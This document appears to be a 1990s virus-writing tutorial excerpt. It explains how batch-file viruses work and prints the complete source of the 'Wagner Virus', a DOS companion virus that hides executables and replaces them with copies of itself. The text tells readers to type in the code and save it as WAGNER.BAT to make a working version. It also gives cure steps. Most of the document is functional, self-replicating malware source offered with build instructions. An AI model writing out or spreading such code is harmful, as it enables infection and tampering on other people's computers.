Batch File viruses are becoming increasingly common, because o
    two main reasons: 1) They are incredibly simple to write and requir
    no real programming experience, and 2) There are a growing number o
    programs that will convert .BAT files into .COM and/or .EXE files.
    This allows the batch file to pose as an executable and prevents it
    from being typed. The following virus, however, works in BAT format
    It searches the directory for .COM files and .EXE files, finding th
    last one in the directory.  It then renames it to its name with a V
    at the beginning, hides it, and puts a batch file with the same nam
    into the directory that contains the virus.  The commands used can
    be found in an MS-DOS User's Manual.  To cure it, read the
    instructions within the virus itself simply by typing one of the
    infected .BAT files.  This, despite the fact that it is not an
    'executable' program, is a virus and, like all others, can cause
    damage if improperly handled.  It will not go out of the directory,
    unless it is run from another directory. As with anything that is
    potentially dangerous, just be careful and use common sense.  And
    if you do not understand it, DO NOT PRESS YOUR LUCK BY PLAYING WITH
    IT!  Study the code and an MS-DOS manual until you do understand
    it.  I am not including an in-depth study of this virus due to its
    simplicity.  To create a working version of this virus, type the
    code in between the dotted lines into a program such as EDIT.COM
    that comes with DOS, and save it as WAGNER.BAT. Put it in an
    isolated directory, and then you can test it.  Again, be careful,
    for it is YOUR responsibility for anything you do with it.

                            The Wagner Virus

    --------------------------------Code-------------------------------
    @echo off
    ctty nul
    rem  ______________________________________________________________
    rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
    rem :This virus can be cured simply by typing "attrib -h -r *.*" in
    rem :infected directories and deleting BAT files that are identical
    rem :to this code, then rename the files having a "V" at the start
    rem :to their original names.   NOTE: Does not infect COMMAND.COM.
    rem :______________________________________________________________
    for %%f in (*.exe *.com) do set A=%%f
    if %A%==COMMAND.COM set A=
    rename %A% V%A%
    if not exist V%A% goto end
    attrib +h V%A%
    copy %0.bat %A%
    attrib +r %A%
    ren %A% *.bat
    set A=
    :end
    ctty con
    @if exist V%0.com V%0.com %1 %2 %3
    @if exist V%0.exe V%0.exe %1 %2 %3
    ----------------------------End of Code----------------------------
See: Essays & Papers:
- Batch File Viruses by Datafellows.